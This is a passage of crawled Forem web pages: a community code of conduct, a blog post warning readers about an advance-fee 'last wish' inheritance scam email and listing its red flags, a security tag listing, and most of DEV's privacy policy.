Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://core.forem.com/code-of-conduct	Code of Conduct - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Code of Conduct Last updated July 31, 2023 All participants of DEV Community are expected to abide by our Code of Conduct and Terms of Service , both online and during in-person events that are hosted and/or associated with DEV Community. Our Pledge In the interest of fostering an open and welcoming environment, we as moderators of DEV Community pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. Our Standards Examples of behavior that contributes to creating a positive environment include: Using welcoming and inclusive language Being respectful of differing viewpoints and experiences Referring to people by their pronouns and using gender-neutral pronouns when uncertain Gracefully accepting constructive criticism Focusing on what is best for the community Showing empathy towards other community members Citing sources if used to create content (for guidance see DEV Community: How to Avoid Plagiarism ) Following our AI Guidelines and disclosing AI assistance if used to create content Examples of unacceptable behavior by participants include: The use of sexualized language or imagery and unwelcome sexual attention or advances The use of hate speech or communication that is racist, homophobic, transphobic, ableist, sexist, or otherwise prejudiced/discriminatory (i.e. misusing or disrespecting pronouns) Trolling, insulting/derogatory comments, and personal or political attacks Public or private harassment Publishing others' private information, such as a physical or electronic address, without explicit permission Plagiarizing content or misappropriating works Other conduct which could reasonably be considered inappropriate in a professional setting Dismissing or attacking inclusion-oriented requests We pledge to prioritize marginalized people's safety over privileged people's comfort. We will not act on complaints regarding: 'Reverse' -isms, including 'reverse racism,' 'reverse sexism,' and 'cisphobia' Reasonable communication of boundaries, such as 'leave me alone,' 'go away,' or 'I'm not discussing this with you.' Someone's refusal to explain or debate social justice concepts Criticisms of racist, sexist, cissexist, or otherwise oppressive behavior or assumptions Enforcement Violations of the Code of Conduct may be reported by contacting the team via the abuse report form or by sending an email to support@dev.to . All reports will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. Further details of specific enforcement policies may be posted separately. Moderators have the right and responsibility to remove comments or other contributions that are not aligned to this Code of Conduct or to suspend temporarily or permanently any members for other behaviors that they deem inappropriate, threatening, offensive, or harmful. If you agree with our values and would like to help us enforce the Code of Conduct, you might consider volunteering as a DEV moderator. Please check out the DEV Community Moderation page for information about our moderator roles and how to become a mod. Attribution This Code of Conduct is adapted from: Contributor Covenant, version 1.4 Write/Speak/Code Geek Feminism 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://future.forem.com/om_shree_0709/i-almost-fell-for-a-last-wish-scam-heres-what-you-need-to-know-4g4i	I Almost Fell for a “Last Wish” Scam : Here’s What You Need to Know - Future Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Future Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Om Shree Posted on Jan 12 • Originally published at Medium           I Almost Fell for a “Last Wish” Scam : Here’s What You Need to Know # discuss # scam # security # privacy Recently, I received an unsolicited email that initially seemed like a heartfelt plea for help but quickly revealed itself as a classic scam. By sharing my experience, I hope to educate others on recognizing and avoiding these deceptive schemes, which have trapped countless victims worldwide. The Email That Started It All " A few days ago, I received an email from someone named Lucía Martina, claiming to be a 58-year-old woman from New Zealand battling terminal breast cancer. She wrote from a Gmail address ( luciamartina757@gmail.com ), introducing herself with a polite inquiry: "How are you doing? I have something to discuss with you." Nothing unusual. So I replied politely. Curious, I responded briefly, asking for more details. Her reply painted a tragic picture: orphaned and raised in a motherless babies' home, married for 20 years to her late husband Alexandra Paul (supposedly a U.S. Embassy worker in Washington, D.C., who died in a 2017 car accident), and childless. She claimed to have sold all her belongings after his death, depositing $4.3 million into a "non-residential" bank account. Now, confined to a hospital bed in London, unable to speak, and given only two months to live, she sought a "God-fearing" partner to donate at least 60% of the funds to charities or orphanages. In exchange, she promised I wouldn't regret it if my "heart is pure and sincere," and she'd provide bank details upon my agreement. Emotional Hooks and Red Flags The email tugged at the heartstrings. References to faith, charity, and impending death are designed to evoke sympathy. But I saw some red flags: grammatical errors, inconsistent details (e.g., a New Zealander in a London hospital with U.S. ties), and the unsolicited nature of the contact. It felt too scripted and just too urgent. Unmasking the Scam: A Common Fraudulent Tactic Upon reflection and research, this email matches the blueprint of an "Advance-fee fraud" or "419 scam" (named after the Nigerian criminal code section often associated with it, though perpetrators operate globally). In this variant, known as the "dying widow" or "inheritance scam," the sender poses as a terminally ill person (often a widow with cancer) offering a fortune in exchange for help distributing it to charities. The goal? To lure victims into providing personal information, paying "fees" for transfers, or even traveling abroad, only to be fleeced. Similar scams have been documented extensively. For instance, the U.S. Federal Trade Commission (FTC) and Interpol report thousands of such cases annually, with variations involving names like "Mrs. Mary Williams" or "Dr. John Smith." In my case, searches for "Lucia Martina inheritance scam" reveal identical emails circulating since at least 2020, often with the same backstory but slight tweaks to names or amounts. Cybersecurity firms like Kaspersky and Norton have flagged these as phishing attempts, where the next steps typically involve requests for bank details, "processing fees," or legal documents, leading to identity theft or financial loss. According to the FTC's 2023 Consumer Sentinel Network report, advance-fee scams cost Americans over $300 million that year alone, with global figures likely in the billions. Victims are often empathetic individuals, targeted via harvested email lists from data breaches or public directories. The emotional manipulation: appeals to religion, charity, and urgency, makes it particularly insidious. Red Flags to Watch For If you've received a similar email, here are key warning signs I noticed: Unsolicited Contact: Legitimate opportunities don't arrive out of the blue via email from strangers. Emotional Manipulation: Stories of terminal illness, orphanhood, or faith-based pleas are common hooks to bypass skepticism. Promises of Easy Money: Offers of millions for minimal effort, especially tied to "last wishes," scream fraud. Grammatical Errors and Inconsistencies: Poor English, mismatched details (e.g., a New Zealand resident with U.S. embassy ties in London), and generic phrasing. Urgency and Secrecy: Pressure to act quickly, often with claims of limited time due to health. Requests for Personal Info: They'll eventually ask for bank details, IDs, or fees, never share these. In my interaction, the sender's insistence on my "pure heart" and quick response was a telltale sign. Fortunately, I didn't proceed further. How to Protect Yourself and Report Scams Knowledge is your best defense. Here's what experts recommend: Verify Claims Use search engines to check names, stories, or email addresses. Tools like ScamAdviser or WhoIs can reveal fake domains. Don't Engage Reply only if necessary, but avoid sharing details. Mark as spam and delete. Report It In India, file a complaint via the National Cyber Crime Reporting Portal (cybercrime.gov.in) or your email provider. Globally, inform the FTC (reportfraud.ftc.gov) or IC3 (ic3.gov). Educate Others Share experiences on forums like Reddit's r/Scams or social media, but anonymize sensitive info. Use Security Tools Enable two-factor authentication, use antivirus software, and be wary of attachments. If you've fallen victim, contact your bank immediately and report to authorities, recovery is possible in some cases. Final Thoughts: Turning Awareness into Action My brush with this scam was a stark reminder that compassion can be weaponized. While I emerged unscathed, many aren't so lucky, losing savings or suffering emotional distress. By exposing these tactics, we can collectively dismantle them. If this article resonates, share it widely, let's make the internet a safer space for genuine connections, not exploitation. Remember, if it sounds too good (or too tragic) to be true, it probably is. Stay vigilant. This article is based on personal experience and publicly available scam reports as of January 2026. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Om Shree Follow Technical Evangelist \| AI Researcher \| Simplifying Complex AI & Agent Workflows for Developers Location India Education Jaypee University Of Information Technology Pronouns He/Him Work Founder of Shreesozo Joined Feb 27, 2025 More from Om Shree Tech Pulse – Weekly Tech Digest January 11, 2026 # ai # blockchain # security # science Tech Pulse: Wrapping 2025, Igniting 2026 # discuss # ai # security # science 📰 Tech Takes: A Whirlwind Day in Innovation on November 20, 2025 # ai # security # blockchain # discuss 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Future — News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Future © 2025 - 2026. Stay on the cutting edge, and shape tomorrow Log in Create account	2026-01-13T08:47:56
https://core.forem.com/t/security	Security - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Security Follow Hide Hopefully not just an afterthought! Create Post submission guidelines Write as you are pleased, be mindful and keep it civil. Older #security posts 1 2 3 4 5 6 7 8 9 … 75 … 560 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu October 2025 Forem Core Update: Hacktoberfest Momentum, PR Cleanups, and Self-Hosting Tweaks Om Shree Om Shree Om Shree Follow Oct 12 '25 October 2025 Forem Core Update: Hacktoberfest Momentum, PR Cleanups, and Self-Hosting Tweaks # productivity # security # performance # javascript 20 reactions Comments 1 comment 4 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem Core — Discussing the core forem open source software project — features, bugs, performance, self-hosting. Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem Core © 2016 - 2026. Community building community Log in Create account	2026-01-13T08:47:56
https://core.forem.com/privacy	Privacy Policy - Forem Core Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account Forem Core Close Privacy Policy Last Updated: September 01, 2023 This Privacy Policy is designed to help you understand how DEV Community Inc. (" DEV ," " we ," or " us ") collects, use, and discloses your personal information. What's With the Defined Terms? You'll notice that some words appear in quotes in this Privacy Policy. They're called "defined terms," and we use them so that we don't have to repeat the same language again and again. They mean the same thing in every instance, to help us make sure that this Privacy Policy is consistent. We've included the defined terms throughout because we want it to be easy for you to read them in context. 1. WHAT DOES THIS PRIVACY POLICY APPLY TO? 2. PERSONAL INFORMATION WE COLLECT 3. HOW WE USE YOUR INFORMATION 4. HOW WE DISCLOSE YOUR INFORMATION 5. YOUR PRIVACY CHOICES AND RIGHTS 6. INTERNATIONAL DATA TRANSFERS 7. RETENTION OF PERSONAL INFORMATION 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS 10. CHILDREN'S INFORMATION 11. OTHER PROVISIONS 12. CONTACT US 1. WHAT DOES THIS PRIVACY POLICY APPLY TO? This Privacy Policy applies to personal information processed by us, including on our websites, mobile applications, and other online or offline offerings — basically anything we do. To make this Privacy Policy easier to read, our websites, mobile applications, and other offerings are all collectively called the " Services. " Beyond this Privacy Policy, your use of the Services is subject to our DEV Community Terms and our Forem Terms. The Services include both our own community forum at https://www.dev.to (the " DEV Community ") and the open source tool we provide called " Forem ," available at https://www.forem.com which allows our customers to create and operate their own online forums. We collect personal information from two categories of people: (1) our customers, who use Forem and our hosting services to run and host their own forums (we'll call them " Forem Operators "), and (2) the people who interact with DEV-hosted forums, including forums provided by Forem Operators utilizing Forem and separately our own DEV Community (we'll call them " Users "). An Important Note for Users Since we provide hosting services for Forem Operators, technically we also process your information on their behalf. That processing is governed by the contracts that we have in place with each Forem Operator, not this Privacy Policy. In other words, when you share your data on a DEV-hosted forum operated by a Forem Operator, we at DEV are basically just the "pipes" — we process the data on behalf of the Forem Operator, but don't do anything with it ourselves beyond what we're required to do under our contract (and by law). So, if you post your information on a DEV-powered forum provided by a Forem Operator, that Forem Operator's privacy policy applies, and any questions or requests relating to your data on that service should be directed to that Forem Operator, not us. Likewise, if you use our mobile application, you may also interact with forums that use DEV's open-source tools but do all their hosting and data collection themselves. For those forums, we at DEV have no access to your data, so be sure to read the privacy policy of any third-party hosted forum before posting. 2. PERSONAL INFORMATION WE COLLECT The categories of personal information we collect depend on whether you're a User or Forem Operator, how you interact with us, our Services, and the requirements of applicable law. Breaking it down, we collect three types of information: (1) information that you provide to us directly, (2) information we obtain automatically when you use our Services, and (3) information we get about you from other sources (such as third-party services and organizations). More details are below. A. Information You Provide to Us Directly We may collect the following personal information that you provide to us. Account Creation (for Forem Operators): We'll require your name and email address to get started, as well as some details about the Forem you want to run, such as: whether you're running the Forem on your own behalf or as part of an organization, and details about the community you want to support (how big is it, what topics does it cover, where do members currently communicate, how/if the community earns money, whether the community is open, invite-only or paid, any existing social media accounts, etc.) You'll need to tell us a bit about your personal coding background, and you'll have the option to provide your DEV username as well, if you are a member of the DEV.to community. Account Creation (for Users) : We collect name and email address from users that create an account on DEV Community. For other forums created by Forem Operators using Forem, the Forem Operator determines what information is required for User account creation for their respective forums. Interactive Features (for Users) . Like any other social network, both we and other Users of our Services may collect personal information that you submit or make available through our interactive features (e.g., messaging and chat features, commenting functionalities, forums, blogs, posts, and other social media pages). While we do have private messages that are only between you and the person you're messaging (as well as us and the Forem Operator, as applicable), any information you provide using the public sharing features of the Services, such as the information you post to your public profile or the topics you follow is public, including to recruiters and prospective employers, and is not subject to any of the privacy protections we mention in this Privacy Policy except where legally required. Please exercise caution before revealing any information that may identify you in the real world to others. Purchases . If you buy stuff on our shop site https://shop.dev.to/ (as either a User or Forem Operator), or otherwise if you pay us in connection with your use of the Forem service, we may collect personal information and details associated with your purchases, including payment information. Any payments made via our Services are processed by third-party payment processors, such as Stripe, Shopify, and PayPal. We do not directly collect or store any payment card information entered through our Services, but may receive information associated with your payment card information (e.g., your billing details). Your Communications with Us (Users and Forem Operators) . We may collect personal information, such as email address, phone number, or mailing address when you request information about our Services, register for our newsletter or loyalty program, request customer or technical support, apply for a job, or otherwise communicate with us. Surveys . We may contact you to participate in surveys. If you decide to participate, you may be asked to provide certain information, which may include personal information (for example, your home address). Sweepstakes or Contests . We may collect personal information you provide for any sweepstakes or contests that we offer. In some jurisdictions, we are required to publicly share information of sweepstakes and contest winners. Conferences, Trade Shows, and Other Events . We may collect personal information from individuals when we attend conferences, trade shows, and other events. Business Development and Strategic Partnerships . We may collect personal information from individuals and third parties to assess and pursue potential business opportunities. Job Applications . We may post job openings and opportunities on our Services. If you reply to one of these postings by submitting your application, CV and/or cover letter to us, we will collect and use your information to assess your qualifications. B. Information Collected Automatically We may collect personal information automatically when you use our Services: Automatic Data Collection . We may collect certain information automatically when you use our Services, such as your Internet protocol (IP) address, user settings, MAC address, cookie identifiers, mobile carrier, mobile advertising and other unique identifiers, browser or device information, location information (including approximate location derived from IP address), and Internet service provider. We may also automatically collect information regarding your use of our Services, such as pages that you visit before, during and after using our Services, information about the links you click, the types of content you interact with, the frequency and duration of your activities, and other information about how you use our Services. In addition, we may collect information that other people provide about you when they use our Services, including information about you when they tag you in their posts. Cookies, Pixel Tags/Web Beacons, and Other Technologies . We, as well as third parties that provide content, advertising, or other functionality on our Services, may use cookies, pixel tags, local storage, and other technologies (" Technologies ") to automatically collect information through your use of our Services. Cookies . Cookies are small text files placed in device browsers that store preferences and facilitate and enhance your experience. Pixel Tags/Web Beacons . A pixel tag (also known as a web beacon) is a piece of code embedded in our Services that collects information about engagement on our Services. The use of a pixel tag allows us to record, for example, that a user has visited a particular web page or clicked on a particular advertisement. We may also include web beacons in e-mails to understand whether messages have been opened, acted on, or forwarded. Our uses of these Technologies fall into the following general categories: Operationally Necessary . This includes Technologies that allow you access to our Services, applications, and tools that are required to identify irregular website behavior, prevent fraudulent activity and improve security or that allow you to make use of our functionality. Performance-Related . We may use Technologies to assess the performance of our Services, including as part of our analytic practices to help us understand how individuals use our Services ( see Analytics below ). Functionality-Related . We may use Technologies that allow us to offer you enhanced functionality when accessing or using our Services. This may include identifying you when you sign into our Services or keeping track of your specified preferences, interests, or past items viewed. Analytics . We may use Technologies and other third-party tools to process analytics information on our Services. Some of our analytics partners include Google Analytics. For more information,please visit Google Analytics' Privacy Policy . To learn more about how to opt-out of Google Analytics' use of your information, please click here . Social Media Platforms . Our Services may contain social media buttons such as Twitter, Facebook, GitHub, Instagram, and Twitch (that might include widgets such as the "share this" button or other interactive mini programs). These features may collect your IP address, which page you are visiting on our Services, and may set a cookie to enable the feature to function properly. Your interactions with these platforms are governed by the privacy policy of the company providing it. See the "Your Privacy Choices and Rights" section below to understand your choices regarding these Technologies. C. Information Collected from Other Sources We may obtain information about you from other sources, including through third-party services and organizations. For example, if you access our Services through a third-party application, such as an app store, a third-party login service (e.g., through Twitter, Apple, or GitHub), or a social networking site, we may collect whatever information about you from that third-party application that you have made available via your privacy settings. 3. HOW WE USE YOUR INFORMATION We use your information for a variety of business purposes, including to provide our Services, for administrative purposes, and to market our products and Services, as described below. A. Provide Our Services We use your information to fulfill our contract with you and provide you with our Services, such as: Managing your information and accounts; Providing access to certain areas, functionalities, and features of our Services; Answering requests for customer or technical support; Communicating with you about your account, activities on our Services, and policy changes; Processing your financial information and other payment methods for products or Services purchased; Processing applications if you apply for a job we post on our Services; and Allowing you to register for events. B. Administrative Purposes We use your information for various administrative purposes, such as: Pursuing our legitimate interests such as direct marketing, research and development (including marketing research), network and information security, and fraud prevention; Detecting security incidents, protecting against malicious, deceptive, fraudulent or illegal activity, and prosecuting those responsible for that activity; Measuring interest and engagement in our Services, including for usage-based billing purposes; Short-term, transient use, such as contextual customization of ads; Improving, optimizing, upgrading, or enhancing our Services; Developing new products and Services; Ensuring internal quality control and safety; Authenticating and verifying individual identities, including requests to exercise your rights under this policy; Debugging to identify and repair errors with our Services; Auditing relating to interactions, transactions and other compliance activities; Enforcing our agreements and policies; and Complying with our legal obligations. C. Marketing and Advertising our Products and Services We may use your personal information to tailor and provide you with content and advertisements for our Services, such as via email. If you have any questions about our marketing practices, you may contact us at any time as set forth in the "Contact Us" section below. D. Other Purposes We also use your information for other purposes as requested by you or as permitted by applicable law. Consent . We may use personal information for other purposes that are clearly disclosed to you at the time you provide personal information or with your consent. Automated Decision Making. We may engage in automated decision making, including profiling, such as to suggest topics or other Users for you to follow. DEV's processing of your personal information will not result in a decision based solely on automated processing that significantly affects you unless such a decision is necessary as part of a contract we have with you, we have your consent, or we are permitted by law to engage in such automated decision making. If you have questions about our automated decision making, you may contact us as set forth in the "Contact Us" section below. De-identified and Aggregated Information . We may use personal information and other information about you to create de-identified and/or aggregated information, such as de-identified demographic information, information about the device from which you access our Services, or other analyses we create. For example, we may collect system-wide information to ensure availability of the platform, or measure aggregate data trends to analyze and optimize our Services. Share Content with Friends or Colleagues. Our Services may offer various tools and functionalities. For example, we may allow you to provide information about your friends through our referral services. Our referral services may allow you to forward or share certain content with a friend or colleague, such as an email inviting your friend to use our Services. Please only share with us contact information of people with whom you have a relationship (e.g., relative, friend neighbor, or co-worker). 4. HOW WE DISCLOSE YOUR INFORMATION We disclose your information to third parties for a variety of business purposes, including to provide our Services, to protect us or others, or in the event of a major business transaction such as a merger, sale, or asset transfer, as described below. A. Disclosures to Provide our Services The categories of third parties with whom we may share your information are described below. Service Providers . We may share your personal information with our third-party service providers who use that information to help us provide our Services. This includes service providers that provide us with IT support, hosting, payment processing, customer service, and related services. For example, our Shop site is run by Shopify, who handle your shipping details on our behalf. Business Partners . We may share your personal information with business partners to provide you with a product or service you have requested. We may also share your personal information to business partners with whom we jointly offer products or services. Other Users . As described above in the "Personal Information We Collect" section of this Privacy Policy, our Service allows Users to share their profiles, and any posts, chats, etc. with other Users and with the general public, including to those who do not use our Services. APIs/SDKs . We may use third-party Application Program Interfaces ("APIs") and Software Development Kits ("SDKs") as part of the functionality of our Services. For more information about our use of APIs and SDKs, please contact us as set forth in the "Contact Us" section below. B . Disclosures to Protect Us or Others We may access, preserve, and disclose any information we store associated with you to external parties if we, in good faith, believe doing so is required or appropriate to: comply with law enforcement or national security requests and legal process, such as a court order or subpoena; protect your, our, or others' rights, property, or safety; enforce our policies or contracts; collect amounts owed to us; or assist with an investigation or prosecution of suspected or actual illegal activity. C. Disclosure in the Event of Merger, Sale, or Other Asset Transfers If we are involved in a merger, acquisition, financing due diligence, reorganization, bankruptcy, receivership, purchase or sale of assets, or transition of service to another provider, your information may be sold or transferred as part of such a transaction, as permitted by law and/or contract. 5. YOUR PRIVACY CHOICES AND RIGHTS Your Privacy Choices . The privacy choices you may have about your personal information are determined by applicable law and are described below. Email Communications . If you receive an unwanted email from us, you can use the unsubscribe link found at the bottom of the email to opt out of receiving future emails. Note that you will continue to receive transaction-related emails regarding products or Services you have requested. We may also send you certain non-promotional communications regarding us and our Services, and you will not be able to opt out of those communications (e.g., communications regarding our Services or updates to our Terms or this Privacy Policy). Mobile Devices . We may send you push notifications through our mobile application. You may opt out from receiving these push notifications by changing the settings on your mobile device. "Do Not Track." Do Not Track (" DNT ") is a privacy preference that users can set in certain web browsers. Please note that we do not respond to or honor DNT signals or similar mechanisms transmitted by web browsers. Cookies and Interest-Based Advertising . You may stop or restrict the placement of Technologies on your device or remove them by adjusting your preferences as your browser or device permits. However, if you adjust your preferences, our Services may not work properly. Please note that cookie-based opt-outs are not effective on mobile applications. Please note you must separately opt out in each browser and on each device. Your Privacy Rights . In accordance with applicable law, you may have the right to: Access Personal Information about you, including: (i) confirming whether we are processing your personal information; (ii) obtaining access to or a copy of your personal information; Request Correction of your personal information where it is inaccurate, incomplete or outdated. In some cases, we may provide self-service tools that enable you to update your personal information; Request Deletion, Anonymization or Blocking of your personal information when processing is based on your consent or when processing is unnecessary, excessive or noncompliant; Request Restriction of or Object to our processing of your personal information when processing is noncompliant; Withdraw Your Consent to our processing of your personal information. If you refrain from providing personal information or withdraw your consent to processing, some features of our Service may not be available; Request Data Portability and Receive an Electronic Copy of Personal Information that You Have Provided to Us; Be Informed about third parties with which your personal information has been shared; and Request the Review of Decisions Taken Exclusively Based on Automated Processing if such decisions could affect your data subject rights. If you would like to exercise any of these rights, please contact us as set forth in "Contact Us" below. We will process such requests in accordance with applicable laws. 6. INTERNATIONAL DATA TRANSFERS All information processed by us may be transferred, processed, and stored anywhere in the world, including, but not limited to, the United States or other countries, which may have data protection laws that are different from the laws where you live. We always strive to safeguard your information consistent with the requirements of applicable laws. 7. RETENTION OF PERSONAL INFORMATION We store the personal information we collect as described in this Privacy Policy for as long as you use our Services or as necessary: to fulfill the purpose or purposes for which it was collected, to provide our Services, to resolve disputes, to establish legal defenses, to conduct audits, to pursue legitimate business purposes, to enforce our agreements, and to comply with applicable laws. 8. SUPPLEMENTAL DISCLOSURES FOR CALIFORNIA RESIDENTS Refer-a-Friend and Similar Incentive Programs . As described above in the How We Use Your Personal Information section ("Share Content with Friends or Colleagues" subsection), we may offer referral programs or other incentivized data collection programs. For example, we may offer incentives to you such as discounts or promotional items or credit in connection with these programs, wherein you provide your personal information in exchange for a reward, or provide personal information regarding your friends or colleagues (such as their email address) and receive rewards when they sign up to use our Services. (The referred party may also receive rewards for signing up via your referral.) These programs are entirely voluntary and allow us to grow our business and provide additional benefits to you. The value of your data to us depends on how you ultimately use our Services, whereas the value of the referred party's data to us depends on whether the referred party ultimately becomes a User or Forem Operator and uses our Services. Said value will be reflected in the incentive offered in connection with each program. Accessibility . This Privacy Policy uses industry-standard technologies and was developed in line with the World Wide Web Consortium's Web Content Accessibility Guidelines, version 2.1* . * If you wish to print this policy, please do so from your web browser or by saving the page as a PDF. California Shine the Light . The California "Shine the Light" law permits users who are California residents to request and obtain from us once a year, free of charge, a list of the third parties to whom we have disclosed their personal information (if any) for their direct marketing purposes in the prior calendar year, as well as the type of personal information disclosed to those parties. Right for Minors to Remove Posted Content . Where required by law, California residents under the age of 18 may request to have their posted content or information removed from the publicly-viewable portions of the Services by contacting us directly as set forth in the "Contact Us" section below or by logging into their account and removing the content or information using our self-service tools. 9. SUPPLEMENTAL NOTICE FOR NEVADA RESIDENTS If you are a resident of Nevada, you have the right to opt-out of the sale of certain Personal Information to third parties who intend to license or sell that Personal Information. You can exercise this right by contacting us as set forth in the "Contact Us\" section below with the subject line "Nevada Do Not Sell Request" and providing us with your name and the email address associated with your account. Please note that we do not currently sell your Personal Information as sales are defined in Nevada Revised Statutes Chapter 603A. If you have any questions, please contact us as set forth below. 10. CHILDREN'S INFORMATION The Services are not directed to children under 13 (or other age as required by local law), and we do not knowingly collect personal information from children. If you are a parent or guardian and believe your child has uploaded personal information to our site without your consent, you may contact us as described in the "Contact Us" section below. If we become aware that a child has provided us with personal information in violation of applicable law, we will delete any personal information we have collected, unless we have a legal obligation to keep it, and terminate the child's account if applicable. 11. OTHER PROVISIONS 